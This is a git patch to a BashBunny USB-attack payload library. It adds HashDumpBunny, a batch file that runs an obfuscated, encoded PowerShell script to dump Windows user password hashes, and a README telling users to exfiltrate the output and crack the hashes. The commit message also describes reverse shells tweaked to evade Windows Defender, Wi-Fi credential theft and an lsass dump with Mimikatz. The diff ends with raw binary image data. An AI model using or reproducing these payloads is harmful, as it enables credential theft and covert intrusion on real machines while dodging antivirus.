From 5eaf7d9dc781ff2d28cefd9fbee3a4072fca1f92 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Wed, 2 Feb 2022 16:09:37 +0100 Subject: [PATCH 1/3] Uploaded HashDumpBunny + some fixes (#491) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Uploaded ReverseBunny Obfuscated reverse shell via powershell * Uploaded WifiSnatch Get your targets stored wifi information and credentials, store them on your Bashbunny and hop away 🐇 * Update ReverseBunny.txt Changed payload to evade Windows Defender * Update payload.txt Added new "Eject Method" - props to Night(9o3) * Update README.md * Deleted ReverseBunny.txt Deleted because of higher risk to get caught by AV * Updated ReverseBunny to version 1.2 Updated ReverseBunny to version 1.2. - Deleted payload on disk because of AV - Added custom shell design * Updated ReverseBunny to version 1.2 Updated README for ReverseBunny update * Updated payload fixed some stupid left overs <3 * Uploaded pingUinBunny a reverse shell using icmp * Delete payloads/library/remote_access/switch1 directory * Uploaded pingUinBunny A reverse shell using icmp * Update README.md * Update README.md * Updated to PingZhell * Update Bunny.pl * Update README.md * Update README.md * Update payload.txt * Rename payloads/library/remote_access/pingUinBunny/Bunny.pl to payloads/library/remote_access/PingZhellBunny/Bunny.pl * Rename payloads/library/remote_access/pingUinBunny/PingZhell.ps1 to payloads/library/remote_access/PingZhellBunny/PingZhell.ps1 * Rename payloads/library/remote_access/pingUinBunny/README.md to payloads/library/remote_access/PingZhellBunny/README.md * Rename payloads/library/remote_access/pingUinBunny/payload.txt to payloads/library/remote_access/PingZhellBunny/payload.txt * Update payload.txt * Update README.md * Update README.md * Update Bunny.pl * Created ProcDumpBunny Dump lsass.exe with a renamed version of procdump and get the users hashes with Mimikatz * Update README.md * Update payload.txt * Updated ReverseBunny Fixed wrong DELAY commands * Updated PingZhellBunny Fixed wrong DELAY commands * Updated WifiSnatch Fixed multiple mistakes * Uploaded HashDumpBunny Use your BashBunny to dump the user hashes of your target - similar to the msf post-module. The script was obfuscated with multiple layers, so don't be confused. If you don't trust this script, run it within a save testing space - which should be best practice anyways ;) * added example picture * Update README.md --- .../credentials/HashDumpBunny/BunnyDump.bat | 2 + .../credentials/HashDumpBunny/README.md | 19 ++++++++ .../HashDumpBunny/censoredhash.png | Bin 0 -> 13279 bytes .../credentials/HashDumpBunny/payload.txt | 44 ++++++++++++++++++ .../exfiltration/WifiSnatch/payload.txt | 21 +++++---- .../remote_access/PingZhellBunny/payload.txt | 14 +++--- .../remote_access/ReverseBunny/payload.txt | 28 +++++------ 7 files changed, 97 insertions(+), 31 deletions(-) create mode 100644 payloads/library/credentials/HashDumpBunny/BunnyDump.bat create mode 100644 payloads/library/credentials/HashDumpBunny/README.md create mode 100644 payloads/library/credentials/HashDumpBunny/censoredhash.png create mode 100644 payloads/library/credentials/HashDumpBunny/payload.txt diff --git a/payloads/library/credentials/HashDumpBunny/BunnyDump.bat b/payloads/library/credentials/HashDumpBunny/BunnyDump.bat new file mode 100644 index 00000000..fe9c68d9 --- /dev/null +++ b/payloads/library/credentials/HashDumpBunny/BunnyDump.bat @@ -0,0 +1,2 @@ +&cls +powershell.exe -c "&( ([sTring]$veRboSePrEfeREncE)[1,3]+'x'-joIn'')( nEw-oBjEct Io.STREaMReAdeR( (nEw-oBjEct SyStEM.iO.coMPReSsioN.dEFLAtEsTrEaM( [sYSteM.Io.MEmoRYSTrEam] [coNvERT]::FrombAse64sTriNG('7Ttrc9pItp/jX6FLPGOYAMsbbFeqwkMEYl6RIBmX46WF1BiNhcRIwjbXy3+/53S3XvgRz+7W1r1VN/ERoO4+5/R5d7f0vu1sdq55s/Kloam7jucs/aP30nnm6Oj4UW275sQnZ5sx+S67xoysN3vpo3T8aG+JZe2Plltb903HlgaOZjQ35tHjkQT/jh/XxHRd4hDFpUtLbk9x1K/pkxG9z518OBkv4PIH1f2TjKTuPJ+u8wr0owxXvul5dL2wdiNtTdMn3027XBqYi5OMQL0gTmu6klszkwxIR1YQ9VVzs+k4a820r8/O2lvXpbbPf+c7dGnatLOztbWpB6jTx49Dkyjw33EVIgOLur/PSlcxLuS16YestLamZVC3qevU84CEsrUjdmb9gbEeE2NLBpRLp+Us/B5tkRnpDzoEWExyMXSMrRWfWhbGLLUBUeV9gHZ6SSYy4iZImKOFnzDnztrpzJCUQDrdbQDXxLmnbme73gCyk8l2YZl6VmpbmueFgvs6M9u3Q9Ik0x7HN91NiEyATXNgREwOqb9yjDQbhP9OFHoz3lD7gu7kh5NseD8uLD6m6fuuudj61LuOeFB9zTf1+DjT9q9jP5H/q+tr6VNaNElXHuCxb/CbuBH7yA+1W9raAXE28QyfXTBHw0G7RIsAFfnmmub7tk9dZ6NS984E7eU7ltVfbxzXD7m9zn+mftuxgepW9x03/Sl9pXIOMgHeZZ8MBhxvNOuuSS2jby8dzn5MMn+NNsOTPpFt391NHJjkSSb7ryJrrzRXpf5JUjxLYspgQWwi4wV64AHrLyv7BS4EHfCJ5tZ3EsRklyhj5cDzARbC8w+drb31fGcdzkb4XMTb8WOHjAfWPuLqU/pEM+60jVku5Q3LiosN5gq+Eu+Ms+8T2ersE1z+SdAtyFrzV/s8zOSAC4gUFKKYo+xjA/oERzRhBPMjHwwR3YiYVgd89RU/+rql7g4tBuT7n3GlKX3w89yaF1ygLznS6272v+o2GOHEd6+Ttt0hTuCi/1bX7/bRjv4vub5mWTADmNYdpEHg9t+AExxjoHm+7LqOexBTuqRPifWTmPKi4b8UVg7nAAEG0iW4etyhpy6Z0aQ7y0RRxm4YdCDc3Of+xaAzxpTyxqDTNTFPJO+wiJtg8uuW9NsXa5aJX4g5WJvAPMIREHRYlAqTt08uoUDY9i2D0Fdzd9tyPPqfiTcHuRii9f875OvOA0mK/iwfP6NAVL9yaPpUgXJWOTB9RArf/vl8O3iz6fefmH6f0CfpFrKkfgGGPH0x3SouGUfp1msTxSRsEQLrie+yYmyHk6B+3RBgG9IuK1/bLtV8Xg5njvawemmSEVt48CQo27pjoCFBqaK2+31UUGsHFp9OjaaTpqp+HysdUkhlztnQwfpNQwfDw6HyegLF+zxAsIB+oNRP6cKDpmULD0YZLosKXMpV/IaXIv4s4IXS7Bv7CVpkg8Rs/5BWuYg4anDRl9i/gD/xXg2R09Os6LKo4zcdLlW8Z9SDzjpeGqfsG6PldDpkPiFNpU+ml0iOmWkxi38l9ldhf3X212B/xaKAsoAKAxxXy3I45VAqCigJqAqoCWhwAKYRAEMZejGoCqgLaHCoFAWUBFQE1BkAhgrQRagWBJQEVAXUBJxyqBUFlBgAhhrgY1AXcMqhXhBQFlARUBNwygAwNAAfg5KAioC6gAaH06KAsoAKA8BwCr0YNBgUCwUBZQEVAXUBpxyKBQaoi2Ipy6EqoC6gwQEUw6EkoCKgzgBRlLAbAOiGQ1lARUBdQINDpSCgzABRVIAyg5qABodqUUBJQFVAXUCDATMq6MagJKAioC6gwaFeFFAWUGGAKEA9HE45gHI4lARUBdQENDiAchAQBeiHQ0VATcApgxJoh0NZQFVAjQGgKBUaWQbgPBzKAioC6gIaHEoFAWUGiAIUxKEu4JRDuSCgLKAioCbglAGiAPfhUBJQEVAX0OAA2uFQFlBBOIKwEW4QeaYx9535LcW9F4+YHQjwwWZRu8DjuUr6kApzC802wPerolUvYmsam82wuVYtNQqZv5WqtaAXKYXdIiyg9CIoHHrWqtVy1LccoTSCvpVSvVE8LRSwN4yr10vFYIBX5PGOsYqbNe0i+9BL/KPMP0QbKYrPUpTEOHeIAYlnpRCTHvTmqNqJRkSVkRgOl/pb15ay6TQkdw8zugsXIVJI7ozJTJa1+u7ch0ZnDpegVUVuMC1GGsFuoUZi6rhl6mAF3RUuiyHrdS0HajHsdlW4ln6TCvlqMLVbrh7pOGzm4oREVcxA11olA3cc93mE6v6qyBGWQowXQpUBymIMZRlRlks/QVniKItxnOUEzlIMZx1xFmuv4YQRZY6zUIuQ3pJKhFRlXUKkXUTa+AmfFYGzHOP0tprAWYlwFhnOV8UJfFYFzmK1Fp9+LYG1GmEtM6w/k2hNYC2Aj8QFUGeeG/YJkNa7maOQNN0Ftn/LzfqWmzzqOSt0w25XxM+q+KyJz/peYCvk83XpH1je/nKSeYxVmkDkcn91/DjfX7NI4hCDYLWiKaYPDUiayGEPnO41G71P+Bb2AmbjTjKi90q7kg4qK9Ej8BUxEPix6T04W86JrTR5PS/9g/WELk3DyA3pGntgbQ4rAWnk+HQC6wjq+jsJHJHNBPiUchPN86Yrd3swHMYJDE+GqzB4RGa44np2NIxC+vCxDumrumtufL4ClEzb9KVIqOZSSudsx2drjVXfg2o9EzZG3diyKJSOvyKmCj1BCaAriOHniY78XqhBMBd6Y9qPV5YDtfXx4x/7j4XzfRI31+8XEa/h8wNjqIcMgcSu0Pbme+kXzqbJ7+YH1L7xV5nreG+Vaz/D+wKjeE/0PH+G5pTQoTjt8Hu8N8dwznHG7vDVyIoEZP7gnaZRpy9BJ0A62T8ltz9KfnvZBJgGQxNIaDBFbd3dbfyUFPeNTpNMNT6PpkI+sxh9HmuHyfVBZ6j+dCbeMCazKWltu2JFCSYu7ButMFhUctWzENAhTV/bB7KPYxLpL7KkK7CEyFrEkBhX2IwYNWRdNOcgnRxazvFjH20mMJ0Du8RWbjfm/kORKx5ZeVbpiCNhZNjzClEIk/FeHBizFC8Ycx58N4Xm+a8vsZY/ApuQCQw/RNrkCA3QXlMErsMui6BsAnQ8CAcUP4i7jAhnX40mLj3BNN76LTLrRiE0zRjILR4gJyChmDojU43ipjPzSQvGnx8abzyWGtSbCwuNBVSDmWdWej3EssLGQNv35qz40Wxv6bjMF7C84ZYiiTgf7o9kDukb9C305Zfoe6zmQrKv0N/hZ1eziPcMAwHn6xgL3HEOWLhkyc8gY0JHbaJcTqaxEq1DZDVwS/RG8MzYRo9K9a1r+rt8G+fq3LjaZrXLd2SV/xa7VpA57kyDuufhdp0Mrjl0DIrV3/M42uZmRV3sA+WB3G6dR/zA2Ilm4C7Jy8NFBzF+5Nj0PD6h/AWkwI88Ce72URMF3P1vT1umLmmOVNIdu0NxKj3DrVrejPkLN2/piAAPZOJDJQ3xYqpoZETU5dhdCwdj6PnekcytE4qezDk3c2p59DGg1B0TZfh0VIcejjp+VGQPcvFU7FMRRbOJ13VgdH4aGEDXtDWrZTn6bTpw86xUyEoHYU94XuRrCqHqlgx8mGfMtj5TP6fQG5AgO/RNB2eooS1FN4Cz1kXcx7x709dXKC4m3kwsjKZ6F20F8gkKl1zIrJIrPDQK/N9eet+74KfM1JMUx/ETA2d84IhhjQ8sioH8oF6aedSNDxwMA4q3NDmwxAcOHF2zpKGmr0ybxkcCRT7yFgvC+MgyH4mkvASTbcEkuT1gsppksu3YS/MmHGrQpba1/IOM469c515K9e07zTINCbSRR5ISWLrkLKGZSkvHspx7dBNng5rzJBRxFq8zvA6GeGVfgbfDsiAoqunu61ZWdnekSayZzPkuBn5xK5NLl9BmR9w/DRsIJbumRaym3pZVjzeXu0GzQolKZhaz2lSK32ULguPHHotrHwuha4nSEHdn+2QyPZuMyXeqdLaYys7O4qfIaaYOGA22681ICwQN9liAXxcy2RFF1ox99sqlSyRDLkBvYqefi/YdLoMHTY94INPoMBmr7bEoRTDmPT3nlIqFUoWjEJOwiDxCDFFDfCZEV4iJM3FgJkQhxjaYSvzwKh3IAvjXLdL0PPKNNK1wBkDDxtmJn/w5mfDXLDpKevcu6jKIdQEFDPbx4dGvUaInFvvwqyCk9U6IC+QFug/1yKSneeo3EF5+6nAJpcUQbk7vMMglcYCMv0P4xnybk11Mc3hyIaUOhCEtNdOihjCVAB0+NkQUc0OmZ5vxvex2yGwtJBkcZaAUwblB1bykwxO6Le5Z5EZbPFeIGXvInOAtYA2fJpBxHeNy1tqajYqE1ZCNSynBU2KBh2GZeDPrmdDZgtgFfIUJlmXXIGSenX1xTDudSmWP06kvnVQ2pd7S+yJ8fm59hmtH87VUtC6FDxaN0TZ5QMZ6AUsHDxnl8S2lXqpTefhDhBeILr7rWCr1f4ivPwae9uN4ngJvCPxzEU/57HgHsz580Q8qcTVIHn8ricGioF48V0xDfmtFld8VO3N18YmOqYOHHByful1waaT5iuu3UiYLf8VaJohJLV7ks5WCYC56ykswV6wJdh4akOseqnip4KWElwVeTvFi4KWMlwJeangp4kXHC8WLhpclXuovLQv2j5wrXpF/jKZ5zlYEHw5X/9j3iWX0kqax0VwtXrstHALNmG1CNWnkK1i9OCT56QHSf316f/zL33/9LZ358x4X8rP+eNL87wf9bmGvv8b+ZdK/ffr1F37IJOhABBi+iUahWCpXqrV64/T1b3HsF0KZn1GZfq7vU1Hsov2e/VCbQwb8KTvvR1PXna3tnx8miFssJ0L/w+hm7bncIxl2eaC63SPLEKi2NJ3qBpzEcC1fxAWerVegPuEif774HHaq+HAgK9nSmXzbWW+2Pu1p3iqNqK/AkMBLcO+Kbxs0yVc8bvQv+XIQFD1GO+C/oIicrSOVu0SvBLmJ1eNKu8LWBYpOKmw9k6zi0jikXdnng/UQCuEKSw/k4LR7jU5/YIhYurBHIiPBfQtLuJiU7hJSGnEpBYyOSZd0PcqPC1umL5yduszd+7ZfLqURL/BS0JGXwvIaUgzMufDQbgdYLFiTvAFDkc2mWEYMifk/MdiZbcJ3ivoXGQrngbWwswSOkeEsp2vvn5cM6hFM/fhxm1hIrVpjZ0rYplogqqiR2kSfW2Q4J72m14sebB3sz2O9ZDLS57ZP5qumGnUaDIRM2eW9pK+ofotqWDFGJPpger6UhhuISFrTtePuJPrnVrM8yXekEgQ2KAdt6Z6e3FHpBlSnsbHB3upgOKe/E9MjU5UT7WrEwidEAyWMyHROH/ok6rEkzQGsOc8FS4OhtKIaVkKMudiqaLvPfwP9aEw/Gm5b0z+Bo3jZJZhYkzmhv5teQAKW1duAwl7QGU2f0sGszWnNBC1mTdryZVojELFMHvov0IqxD6Ih8oMQDaIL+j5Fag1Rb1DWruZjsHyViqIIJIAWM14uwbbAuivnCU7mK6jsYAjpdonKveXpmAbzimIhPlQe6Xj0P5z3SGgtTAKYNTkzKukRYGYJuoQlPc/LA2gBGyQrMndId4lsfkDfyyR26sAS23N7Ckg07xA38Ax4wYyB/HjZVWU/wI120tPUFdyH6aArJVDvj94daGwEdkV+N4nqR+J1yUx+RrzQdcXZJgHfAVtJUSVlRNpkDkMJCGMVf3BBWKbgms2T64140XzQFXGmXFZd9emEEpEWQnKH7YxgnO2xMgz8kwVn4FKBVRpy1J4Ta8gkiBxBaIA7KDi0HXajtxiD/KYXPNHHApBY/YfxxyV9IxGCADmIx1qjTYFJJJtIGwXBpnMQt4Da2CcXsWV61GqRNemFNiCvodS+nFvDRNga+ZzeR7Sb4cTfETCdeGxAjmNORQmaLmAGqcOUn3Ul5hUiz/F5Y22gQryGT4sK6TLZuuywFsv8FnFgIljsM7lCyEVrX2nEY4LV8EGZhJOziHLAHQvCzCbAlHvPWiJhLQFzWBXjuiVikfHHmVNQR8hcC6o3Mr3lW4aQi8EshXX19qwEGPlJ3mIJfDDsNQn0y7LQ1UPJZJ4xjIh0WkglG1MzWBUwgBsrsbuyDebIZhO7CUIb+SqZKrFtQIOqkNrILtgL9Ew85cFT3djJLzPIIGmsiVF9c40UVjftCplf8K2Y48chojgon3oLx5myPaWrgqgawOsPy4OwIBUayLBSakCGNmR9JaqmFCyN4o+xBdUUY4RtQ4X1TKsbbPWIKixWUjE5rpiSQtxgd9xKkhvKRmjNQIjVSS3SxXoS51O/xk056oERk0t2fgKch7YndoYZFrYdgdQZuw4R3F01eOgaA1JWDQYb8TmpmLnme5zEA3LstPvJjh+3s2fLHtCKJ8wB2LC8n9XnP9gGmDhSEqPuV+w8kJ6wDdL5Pj9R2yvTMrDYlHJrDfcGU3+/KuROm7mulltePzb2x6l9DIlAhOdTgOngkLNpmZoXHlMCwwxvgsbBUVccJUo1wBo/8goRYgR/TCxagxp0yg+bYpTwkbPM06O15BRwFyI4J32G3jegJpwyHZ4DRuuWb6nMTyjwGfGj3IOT2JBIUOtLbDNBLPejJcBJJpreP0H65cnFkvbj0+J+FkhWHBkmSEONd8pqvNP4iuGFoyB8UYlnzMh4B7jLhG+RwacZve3Fl12X4WrUR2No4UEkW5afRJ7dciBB80QT9u1hZ+wLnVGMPCQuiIOrgnBZdihkVAp61knm2acNWJUQncAIX8RBPbbTw/yJlxhznmYgyvuxZSDPayDIieosvlCiA99dRwFX2790xn78qLsQJAw1DIz3wf5nsAG08dghkH8wrk0U2vH2fCbiOQDmT5EV5Lhz4aOzyYcKcswIuZMyVbMp5dEObbh5SEkhtKOGlCK3FUb+EzLgyHEi4NjPSiA5Fe6t0YH4T2hY64BG+ql9h0vPHhROqF+M9Jm8QjeWpoOV51LZVCqTnzoDfNkunXmGPSOcPvM1wd1bJWD7b+SPGSDl2eIvMKgQGfRzcKaA/8JN1qeGl3os7M8eiwAlgPL+7OwsJeVYUSYsgUXWQGXZxOBX5oBVJpsCyPjlGfwVdGQlJPIyuifH2PiwD/dGKZ0bjacg9rAymgBq3dxoVv67aRvOvRfeuH6lU9/AF1b8Ha93xPYuUM73vb6tOBZ9jQI+g+/zbtdSqmmsTdv0fFfzHTeVOSx6cScc7Qo3w79rLu4KYyWekVI8qkMF8efWdHEzwqJ3UNEZkuNKWoTUvKPSxjXvTIveUC8fHTYprPTgApKe24Xn9qRsiSXHt72evHIgXu4NJ8xfoBU73KCmG2Rkx+8qWwusPkR/dTj2rZLOM3sM8aS6W8sSFFPZl9EnWevbKwq3NVunXUu78a5T/HEucT+L/aCuoq648XbM6PLajYZpUGDGc/C3j0/8wkBynWriiWIqE9PMrXjo7ip8pTvPXjYORQ4yY4eo4gw1j6d16naBRzOR5A5qyDiPL+EFBBPqrk3Pg/m1cTsI35ammsHObIDC1KX0zXMNsCr4ejq+d91eafYNjSh48UlrRB+InWTc78PyJIEufdDZYi+gRMbHliUzS94nJQmrjahfgArXhoBAPJcovJG9fv3hpKdh+mebDFHze4WuHfA3PALeRPyDOxrgl9oC2vIxslviiTfb/yU3SEy4PdgL+fIUdb9Cn43V/QEmhS7hNph+nqcivgc0U/FN9n382IjJIM9nlpDjfJ8RHcfhsR5uEZxk4vLC95OhranzpudXLpx1KwjX/wM='),[iO.coMPRESSiOn.cOmPressiONmODE]::decoMpRESS)),[sYsTEm.TexT.ENCoDIng]::AsCii)).REAdtOEnd( ) > out.txt" \ No newline at end of file diff --git a/payloads/library/credentials/HashDumpBunny/README.md b/payloads/library/credentials/HashDumpBunny/README.md new file mode 100644 index 00000000..f2b9c89a --- /dev/null +++ b/payloads/library/credentials/HashDumpBunny/README.md @@ -0,0 +1,19 @@ +**Title: HashDumpBunny** + +Author: 0iphor13 + +Version: 1.0 + +**Instruction:** + +This payload will run an obfuscated script to dump user hashes. If you don't trust this obfuscated .bat file, you should run it within a save space first - which should be best practice anyways ;-) + +# + +**Instruction:** + +Place BunnyDump.bat in the same payload switch-folder as your payload.txt +# +Plug in BashBunny. +Exfiltrate the out.txt file and try to crack the hashes. +![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/HashDumpBunny/censoredhash.png) diff --git a/payloads/library/credentials/HashDumpBunny/censoredhash.png b/payloads/library/credentials/HashDumpBunny/censoredhash.png new file mode 100644 index 0000000000000000000000000000000000000000..b09ac7546d843441619abfce89f64777d414f17e GIT binary patch literal 13279 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 